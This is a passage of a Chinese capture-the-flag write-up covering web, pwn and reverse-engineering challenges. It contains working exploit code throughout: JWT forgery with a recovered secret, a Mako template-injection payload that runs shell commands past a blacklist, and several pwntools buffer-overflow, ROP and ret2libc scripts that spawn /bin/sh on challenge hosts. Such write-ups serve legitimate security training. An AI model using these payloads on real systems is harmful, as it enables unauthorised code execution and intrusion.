&lt;p&gt;访问后暴露一些路由&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-16.png&quot; alt=&quot;Figure 16&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接去读&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/actuator/env
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以直接拿到flag&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ijap7qay-mqfe-4yo-8pk3-cchdrmx9ckloj}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-17.png&quot; alt=&quot;Figure 17&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_reverse_my_web&lt;/h2&gt;
&lt;p&gt;题目给了一个exe附件，为什么web手还得会逆向（）&lt;/p&gt;
&lt;p&gt;扔进ida,分析main&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-18.png&quot; alt=&quot;Figure 18&quot; /&gt;&lt;/p&gt;
&lt;p&gt;也就是 Go 源码大致长这样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// internal/jwtsecret/jwtsecret.go
var encKey = []byte{
    0x28,0x17,0x2D,0x05, 0x68,0x6A,0x68,0x6C,
    0x05,0x36,0x33,0x2E, 0x39,0x2E,0x3C,0x05,
    0x30,0x2D,0x2E,0x05, 0x29,0x3F,0x39,0x28,
    0x3F,0x2E,0x05,0x31, 0x3F,0x23,0x7B,0x7B,
}

func Key() []byte {
    out := make([]byte, len(encKey))
    for i, b := range encKey {
        out[i] = b ^ 0x5A
    }
    return out
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;提取 encKey&lt;/p&gt;
&lt;p&gt;&lt;code&gt;reverseMyWeb\_internal\_jwtsecret\.encKey&lt;/code&gt; 实际是一个 slice header，位于 &lt;code&gt;\.data&lt;/code&gt; 段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0xF68950: E0 E6 F0 00 00 00 00 00   // ptr  -&amp;gt; 0xF0E6E0
0xF68958: 20 00 00 00 00 00 00 00   // len  = 32
0xF68960: 20 00 00 00 00 00 00 00   // cap  = 32
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;读 &lt;code&gt;0xF0E6E0&lt;/code&gt; 的 32 字节：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;28 17 2D 05 68 6A 68 6C 05 36 33 2E 39 2E 3C 05
30 2D 2E 05 29 3F 39 28 3F 2E 05 31 3F 23 7B 7B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;逐字节 XOR &lt;code&gt;0x5A&lt;/code&gt;：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;code&gt;0x28&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x17&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x2D&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x05&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x68&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x6A&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x68&lt;/code&gt;&lt;/th&gt;
&lt;th&gt;&lt;code&gt;0x6C&lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;r&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;M&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;w&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\_&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;0&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;6&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;完整字符串：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;rMw_2026_litctf_jwt_secret_key!!
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;main.signJWT：claims 结构&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).signJWT @ 0x9492a0
v16.RegisteredClaims.Issuer.str    = &quot;reverseMyWeb&quot;;
v16.RegisteredClaims.Issuer.len    = 12;
v16.RegisteredClaims.Subject       = sub;
v16.RegisteredClaims.IssuedAt      = now (truncated);
v16.RegisteredClaims.ExpiresAt     = now + *24h*;
v16.Role                           = role;
SignedString(app.jwtKey)           // HS256
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;对应 Go 结构：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
```go
type claims struct {
    Role string `json:&quot;role&quot;`
    jwt.RegisteredClaims
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;签发时算法是 &lt;code&gt;SigningMethodHS256&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;main.parseToken：鉴权来源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).parseToken @ 0x949660
hdr = req.Header.Get(&quot;Authorization&quot;)
if strings.ToLower(hdr).hasPrefix(&quot;bearer &quot;) {
    raw = strings.TrimSpace(hdr[7:])
} else if c, _ := req.Cookie(&quot;token&quot;); c != nil {
    raw = c.Value
}
ParseWithClaims(raw, &amp;amp;main.claims{}, func(t) (interface{}, error) {
    return app.jwtKey, nil
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;也就是 token 可以放在 &lt;code&gt;Authorization: Bearer \&amp;amp;lt;jwt\&amp;amp;gt;&lt;/code&gt; 或 &lt;code&gt;Cookie: token=\&amp;amp;lt;jwt\&amp;amp;gt;&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;main.handleFlag：访问控制&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// main.(*app).handleFlag @ 0x9486a0
c = parseToken(req);
if (!c.ok)                      → 401 &quot;会话无效或已过期&quot;
if (c.role != &quot;admin&quot;           // 0x6e + &apos;admi&apos; (1768776801)
        || len(c.role) != 5)    → 403 &quot;您暂无此资源的访问权限&quot;

data = os.ReadFile(&quot;/flag&quot;);
if wantsJSON(req): JSON {&quot;content&quot;: strings.TrimSpace(data)}
else:              text/plain
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;1768776801 == \&amp;amp;\#39;admi\&amp;amp;\#39;\(LE\)&lt;/code&gt;、紧跟 &lt;code&gt;\&amp;amp;\#39;n\&amp;amp;\#39;&lt;/code&gt;，长度 5 — 即字符串 &lt;code&gt;\&amp;amp;\#34;admin\&amp;amp;\#34;&lt;/code&gt;。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;接下来访问靶机，访问后是一个工作台，可以登录&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-19.png&quot; alt=&quot;Figure 19&quot; /&gt;&lt;/p&gt;
&lt;p&gt;先拿dirsearch扫，可以得到&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GET  /
GET  /login
POST /login
GET  /register
POST /register
POST /logout
GET  /flag
GET  /static/*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-20.png&quot; alt=&quot;Figure 20&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们直接用刚才拿到的key伪造JWT&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;*// header*
{&quot;alg&quot;:&quot;HS256&quot;,&quot;typ&quot;:&quot;JWT&quot;}

*// payload*
{&quot;role&quot;: &quot;admin&quot;,&quot;sub&quot;:  &quot;admin&quot;,&quot;iss&quot;:  &quot;reverseMyWeb&quot;,&quot;iat&quot;:  &amp;lt;now&amp;gt;,&quot;exp&quot;:  &amp;lt;now + 86400&amp;gt;}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;签名 = &lt;code&gt;HMAC\_SHA256\(secret, base64url\(header\) \+ \&amp;amp;\#34;\.\&amp;amp;\#34; \+ base64url\(payload\)\)&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;解题脚本如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hmac
import hashlib
import base64
import json
import time
import urllib.request
import urllib.error

SECRET = b&quot;rMw_2026_litctf_jwt_secret_key!!&quot;
TARGET = &quot;http://challenge.cyclens.tech:31020&quot;

def b64u(data: bytes) -&amp;gt; str:
    return base64.urlsafe_b64encode(data).rstrip(b&quot;=&quot;).decode()

def forge_jwt(role: str = &quot;admin&quot;, sub: str = &quot;admin&quot;,
              iss: str = &quot;reverseMyWeb&quot;, ttl: int = 86400) -&amp;gt; str:
    header = {&quot;alg&quot;: &quot;HS256&quot;, &quot;typ&quot;: &quot;JWT&quot;}
    now = int(time.time())
    payload = {
        &quot;role&quot;: role,
        &quot;sub&quot;:  sub,
        &quot;iss&quot;:  iss,
        &quot;iat&quot;:  now,
        &quot;exp&quot;:  now + ttl,
    }
    h = b64u(json.dumps(header,  separators=(&quot;,&quot;, &quot;:&quot;)).encode())
    p = b64u(json.dumps(payload, separators=(&quot;,&quot;, &quot;:&quot;)).encode())
    sig = hmac.new(SECRET, f&quot;{h}.{p}&quot;.encode(), hashlib.sha256).digest()
    return f&quot;{h}.{p}.{b64u(sig)}&quot;

def get_flag(token: str) -&amp;gt; str:
    req = urllib.request.Request(
        TARGET + &quot;/flag&quot;,
        headers={
            &quot;Authorization&quot;: &quot;Bearer &quot; + token,
            &quot;Cookie&quot;:        &quot;token=&quot; + token,
            &quot;Accept&quot;:        &quot;application/json&quot;,
        },
    )
    with urllib.request.urlopen(req, timeout=20) as r:
        return r.read().decode(&quot;utf-8&quot;, errors=&quot;replace&quot;)

def decode_enc_key():
  
    enc_key = bytes.fromhex(
        &quot;28172D05686A686C0536332E392E3C05&quot;
        &quot;302D2E05293F39283F2E05313F237B7B&quot;
    )
    plain = bytes(b ^ 0x5A for b in enc_key)
    print(&quot;[*] encKey  :&quot;, enc_key.hex())
    print(&quot;[*] secret  :&quot;, plain.decode())
    assert plain == SECRET

if __name__ == &quot;__main__&quot;:
    decode_enc_key()

    token = forge_jwt()
    print(&quot;[*] forged JWT:&quot;)
    print(token)

    print(&quot;[*] requesting /flag ...&quot;)
    try:
        body = get_flag(token)
        print(&quot;[+] response:&quot;)
        print(body)
    except urllib.error.HTTPError as e:
        print(f&quot;[-] HTTP {e.code}&quot;)
        print(e.read().decode(errors=&quot;replace&quot;))

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;运行拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-21.png&quot; alt=&quot;Figure 21&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{ivwqa2na-6enh-4yt-8bhr-3l5y8zkmygyx4}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;lit_ezssti&lt;/h2&gt;
&lt;p&gt;进入后可以发现是一个模版渲染表单，那肯定就是打ssti了&lt;/p&gt;
&lt;p&gt;测试一下常见的payload，比如{{7*7}}等等，发现都没用，直到试了下面这个&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%if 1%
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;触发报错&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-22.png&quot; alt=&quot;Figure 22&quot; /&gt;&lt;/p&gt;
&lt;p&gt;根据这些字符串，可以推测是mako模版&lt;/p&gt;
&lt;p&gt;fuzz一下，可以得到以下黑名单&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[ ]
=
.
&amp;lt;%=
${
flag
self.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在mako中，可以用 &amp;amp;lt;% ... %&amp;amp;gt; 执行python代码，但是没有回显，这里我们可以用&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;raise Exception
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;实现渲染异常，从而得到回显&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;% from os import popen; raise Exception(getattr(popen(&quot;whoami&quot;), &quot;read&quot;)()) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-23.png&quot; alt=&quot;Figure 23&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后用from os import popen绕过os.popen&lt;/p&gt;
&lt;p&gt;getattr(obj, &amp;amp;#34;read&amp;amp;#34;)() 绕过 .read()&lt;/p&gt;
&lt;p&gt;用chr拼接绕过flag&lt;/p&gt;
&lt;p&gt;payload如下&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;% from os import popen; raise Exception(getattr(popen(chr(99)+chr(97)+chr(116)+chr(32)+chr(47)+chr(102)+chr(108)+chr(97)+chr(103)),chr(114)+chr(101)+chr(97)+chr(100))()) %&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到flag&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-24.png&quot; alt=&quot;Figure 24&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;flag{1wuiv7yx-mfmi-4uw-8usy-jhnfwupf1veau}
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Pwn&lt;/h1&gt;
&lt;h2&gt;lit_ret2text32&lt;/h2&gt;
&lt;p&gt;简单签到题&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-25.png&quot; alt=&quot;Figure 25&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-26.png&quot; alt=&quot;Figure 26&quot; /&gt;&lt;/p&gt;
&lt;p&gt;栈溢出有后门&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;)
p = process(&apos;./ret2text32&apos;)
#p=remote(&quot;challenge.cyclens.tech&quot;,30425)
elf=ELF(&quot;./ret2text32&quot;)

bk=0x8049213
payload=b&apos;a&apos;*0x3c+p64(bk)
p.sendlineafter(&quot;Input: &quot;,payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-27.png&quot; alt=&quot;Figure 27&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2shellcode&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-28.png&quot; alt=&quot;Figure 28&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-29.png&quot; alt=&quot;Figure 29&quot; /&gt;&lt;/p&gt;
&lt;p&gt;栈段可执行，又泄露出了栈地址&lt;/p&gt;
&lt;p&gt;直接向栈内写入shellcode，然后控制执行流到buf&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ret2shellcode&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31103)
elf=ELF(&quot;./ret2shellcode&quot;)

p.recvuntil(b&apos;0x&apos;)
buf=int(p.recv(12),16)
log.info(&quot;buf:&quot;+hex(buf))

shellcode=asm(shellcraft.sh())
payload=shellcode.ljust(0x78,b&apos;a&apos;)
payload+=p64(buf)
p.sendlineafter(&quot;Leave your mark on the stack: &quot;,payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-30.png&quot; alt=&quot;Figure 30&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_integer_overflow&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-31.png&quot; alt=&quot;Figure 31&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有后门backdoor，有栈溢出，只不过需要绕过对size的检测&lt;/p&gt;
&lt;p&gt;注意到size比较时是unsigned int类型，整数溢出，输入-1&lt;/p&gt;
&lt;p&gt;-1&amp;amp;lt;0x40，绕过检测，同时负数转化为0xff……溢出空间足够大&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
p = process(&apos;./integer_overflow&apos;)
#p=remote(&quot;challenge.cyclens.tech&quot;,31104)
elf=ELF(&quot;./integer_overflow&quot;)

bk=0x4011D8 
p.sendlineafter(&quot;(0-63): &quot;,b&apos;-1&apos;)
payload=b&apos;a&apos;*0x48+p64(bk)
p.sendline(payload)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-32.png&quot; alt=&quot;Figure 32&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ropchain&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-33.png&quot; alt=&quot;Figure 33&quot; /&gt;&lt;/p&gt;
&lt;p&gt;rop链，gadget都给出来了，有system没有binsh&lt;/p&gt;
&lt;p&gt;先向bss段read一个/bin/sh\x00&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;read(0,bss,0x10)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后打出&lt;/p&gt;
&lt;p&gt;system(&amp;amp;#34;/bin/sh&amp;amp;#34;)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ropchain&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31002)
elf=ELF(&quot;./ropchain&quot;)

pop_rdi=0x401166
pop_rsi=0x40116B
pop_rdx=0x401170
bss = elf.bss() + 0x500
read=elf.plt[&quot;read&quot;]
system=elf.plt[&quot;system&quot;]

payload = b&apos;a&apos;*0x48
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(0x10)
payload += p64(read)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(system)
p.sendlineafter(&quot;Input: &quot;,payload)

p.sendline(b&apos;/bin/sh&apos;)

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-34.png&quot; alt=&quot;Figure 34&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2syscall32&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-35.png&quot; alt=&quot;Figure 35&quot; /&gt;&lt;/p&gt;
&lt;p&gt;gadget很全，栈溢出空间足够，唯一一个问题是没有可用的/bin/sh&lt;/p&gt;
&lt;p&gt;先调用read函数向bss段写binsh，然后返回到vuln&lt;/p&gt;
&lt;p&gt;然后用syscall调用execve(&amp;amp;#34;/bin/sh&amp;amp;#34;,0,0)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;)
#p = process(&apos;./ret2syscall32&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,30689)
elf=ELF(&quot;./ret2syscall32&quot;)

pop_eax=0x80491A6 
pop_ebx=0x80491AB
pop_ecx_ebx=0x80491B0
pop_edx=0x80491B6
int80=0x80491C1
bss=elf.bss()+0x200
#gdb.attach(p)
payload = flat(
    b&quot;A&quot; * 0x4c,
    elf.plt[&quot;read&quot;],
    elf.sym[&quot;vuln&quot;],    
    0,
    bss,
    10,
)

p.sendlineafter(&quot;Input: &quot;,payload)
pause()
p.sendline(b&apos;/bin/sh\x00&apos;)

payload = flat(
    b&quot;A&quot; * 0x4c,
    pop_eax,
    0xb,
    pop_ecx_ebx, 0, bss,
    pop_edx, 0,
    int80
)
p.sendlineafter(&quot;Input: &quot;,payload)

p.interactive()lit_ret2libc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-36.png&quot; alt=&quot;Figure 36&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;lit_ret2libc&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-37.png&quot; alt=&quot;Figure 37&quot; /&gt;&lt;/p&gt;
&lt;p&gt;leak可以泄露地址，把got表当作参数传入即可泄露libc&lt;/p&gt;
&lt;p&gt;这里出了问题，跳回到vuln失败&lt;/p&gt;
&lt;p&gt;不懂怎么回事，只能用其他方法打了&lt;/p&gt;
&lt;p&gt;把 saved rbp 伪造成 .bss+0x40，然后跳到 vuln 里现成的 read 准备位置。这样程序会把第二阶段 payload 直接读进 .bss，最后用函数尾的 leave; ret 把栈迁移过去。&lt;/p&gt;
&lt;p&gt;第二阶段&lt;/p&gt;
&lt;p&gt;在 .bss 里放一个 &amp;amp;#34;/bin/sh\x00&amp;amp;#34; 和 argv = {&amp;amp;#34;/bin/sh&amp;amp;#34;, NULL}，然后 ROP 调：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;execve\(\&amp;amp;\#34;/bin/sh\&amp;amp;\#34;, argv, NULL\)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;from pwn import *
context(os=&apos;linux&apos;, log_level=&apos;debug&apos;,arch=&apos;amd64&apos;)
#p = process(&apos;./ret2libc&apos;)
p=remote(&quot;challenge.cyclens.tech&quot;,31534)
elf=ELF(&quot;./ret2libc&quot;)
libc=ELF(&quot;./libc_remote.so&quot;)

ret=0x40101A
pop_rdi=0x4011B7
leak=0x4011C3
read_setup=0x40121B
bss=elf.bss()+0x800
fake_rbp=bss+0x40

stage1 = flat(
    b&apos;a&apos;*0x40,
    p64(fake_rbp),
    p64(ret),
    p64(pop_rdi),
    elf.got[&quot;puts&quot;],
    p64(leak),
    p64(read_setup)
)
p.sendlineafter(&quot;Tell me your name: &quot;,stage1)
p.recvuntil(b&apos;0x&apos;)
puts=int(p.recv(12),16)
log.info(&quot;puts:&quot;+hex(puts))

libc_base=puts-libc.sym[&quot;puts&quot;]
execve=libc_base+libc.sym[&quot;execve&quot;]
pop_rsi=libc_base+0x2be51
pop_rdx_r12=libc_base+0x11f367
ret2=libc_base+0x29139
log.info(hex(libc_base))
log.info(hex(execve))

binsh=bss+0x100
argv=bss+0x120

payload=bytearray(b&apos;\x00&apos;*0x180)
payload[0x100:0x108]=b&apos;/bin/sh\x00&apos;
payload[0x120:0x130]=flat(p64(binsh),p64(0))
rop=flat(
    p64(ret2),
    p64(pop_rdi),p64(binsh),
    p64(pop_rsi),p64(argv),
    p64(pop_rdx_r12),p64(0),p64(0),
    p64(execve)
)
payload[0x40:0x48]=p64(0)
payload[0x48:0x48+len(rop)]=rop
p.send(bytes(payload))

p.interactive()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-38.png&quot; alt=&quot;Figure 38&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Reverse&lt;/h1&gt;
&lt;h2&gt;lit_rc4_variant&lt;/h2&gt;
&lt;p&gt;程序拖入IDA，找到main函数，输入长度要求29&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-39.png&quot; alt=&quot;Figure 39&quot; /&gt;&lt;/p&gt;
&lt;p&gt;把输入复制到加密缓冲&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-40.png&quot; alt=&quot;Figure 40&quot; /&gt;&lt;/p&gt;
&lt;p&gt;加密缓冲约定&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KSA 第一阶段：`S[i] = i` 和 `K[i] = key[i % 12]&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-41.png&quot; alt=&quot;Figure 41&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-42.png&quot; alt=&quot;Figure 42&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;KSA 第二阶段&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-43.png&quot; alt=&quot;Figure 43&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PRGA + XOR&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-44.png&quot; alt=&quot;Figure 44&quot; /&gt;&lt;/p&gt;
&lt;p&gt;总结这套魔改算法（&lt;code&gt;encrypt\(input\)&lt;/code&gt;）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;S[64] = 0..63
K[i]  = key[i % len(key)]            for i in 0..63
j = 0
for i in 0..63:
    j = (j + S[i] + K[i]) mod 64
    swap(S[i], S[j])                 # 标准 KSA，但模 64 而不是 256

i = j = 0
for each byte b of plaintext:
    i = (i + 1) mod 64
    j = (j + S[i]) mod 64
    t = (S[i] + S[j]) mod 64         # ← 这里是 mod 64！
    swap(S[i], S[j])
    ks = (S[i] + S[t]) mod 256       # ← 输出是 “两个 S 项相加”，不是 S[(S[i]+S[j])&amp;amp;0xFF]
    cipher_byte = b ^ ks
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;比对密文&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-45.png&quot; alt=&quot;Figure 45&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;解题脚本&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;key = b&quot;lit_rc4_key!&quot;
ct = bytes([0x7b,0x3d,0x38,0x77,0x4e,0x72,0x42,0x7d,0x45,0x37,0x76,0x0f,
            0x53,0x53,0x4f,0x66,0x37,0x17,0x75,0x37,0x5f,0x49,0x58,0x72,
            0x74,0x7f,0x79,0x1f,0x3a])

S = list(range(64))
K = [key[i % len(key)] for i in range(64)]

j = 0
for i in range(64):
    j = (j + S[i] + K[i]) % 64
    S[i], S[j] = S[j], S[i]

i = j = 0
out = bytearray()
for c in ct:
    i = (i + 1) % 64
    s_i_old = S[i]
    j = (j + s_i_old) % 64
    s_j_old = S[j]
    t = (s_i_old + s_j_old) % 64
    # swap
    S[i], S[j] = S[j], S[i]
    # keystream = S[i]_new + S[t]   where S[t] uses post-swap state
    K_byte = (S[i] + S[t]) &amp;amp; 0xFF
    out.append(c ^ K_byte)

print(&quot;Plaintext:&quot;, out)
try:
    print(&quot;Decoded:&quot;, out.decode())
except UnicodeDecodeError:
    print(&quot;Not pure ASCII&quot;)

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;LitCTF{rev05_rc4_variant_64!}&lt;/p&gt;
&lt;h2&gt;lit_tea_standard&lt;/h2&gt;
&lt;p&gt;main函数如下&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-46.png&quot; alt=&quot;Figure 46&quot; /&gt;&lt;/p&gt;
&lt;p&gt;几个关键点：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;明文长度：填充后 v7 == 32，意味着原 flag 长度落在 25..31（含 31，但 31 时填一个 \x01，长度则达到 32）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;轮数 / delta：循环条件 i != -957401312 即 i != 0xC6EF3720，恰好等于 32 * 0x9E3779B9，标准 TEA 32 轮。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;密钥：把 + 形式里出现的负常量按无符号还原&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;16 * v 在 TEA 里就是 v &amp;amp;lt;&amp;amp;lt; 4，对应分支：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;v1 += ((v0 &amp;amp;lt;&amp;amp;lt; 4) + k0) ^ (v0 + sum) ^ ((v0 &amp;amp;gt;&amp;amp;gt; 5) + k1)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;v0 += ((v1 &amp;amp;lt;&amp;amp;lt; 4) + k2) ^ (v1 + sum) ^ ((v1 &amp;amp;gt;&amp;amp;gt; 5) + k3)&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;再看一眼密文 g_cipher（位于 .rdata: 0x140012040，32 字节）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/img-47.png&quot; alt=&quot;Figure 47&quot; /&gt;&lt;/p&gt;
&lt;p&gt;解题脚本&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import struct

ct = bytes.fromhex(
      &quot;edef21feb79b3cb0&quot;
      &quot;1e9372e2023e29bc&quot;
      &quot;36f70c922e5aae46&quot;
      &quot;44fa45251ae58c87&quot;
  )

k0, k1, k2, k3 = 0xCAFEBABE, 0xDEADBEEF, 0xA11CEFAC, 0xB00B1E00
delta = 0x9E3779B9
M = 0xFFFFFFFF

def decrypt_block(v0, v1):
      s = (32 * delta) &amp;amp; M
      for _ in range(32):
          v1 = (v1 - ((((v0 &amp;lt;&amp;lt; 4) + k0) ^ (v0 + s) ^ ((v0 &amp;gt;&amp;gt; 5) + k1))) ) &amp;amp; M
          v0 = (v0 - ((((v1 &amp;lt;&amp;lt; 4) + k2) ^ (v1 + s) ^ ((v1 &amp;gt;&amp;gt; 5) + k3))) ) &amp;amp; M
          s  = (s - delta) &amp;amp; M
      return v0, v1

pt = b&quot;&quot;
for i in range(0, len(ct), 8):
      v0, v1 = struct.unpack(&quot;&amp;lt;II&quot;, ct[i:i+8])
      p0, p1 = decrypt_block(v0, v1)
      pt += struct.pack(&quot;&amp;lt;II&quot;, p0, p1)

pad = pt[-1]
print(pt[:-pad].decode())
&lt;/code&gt;&lt;/pre&gt;
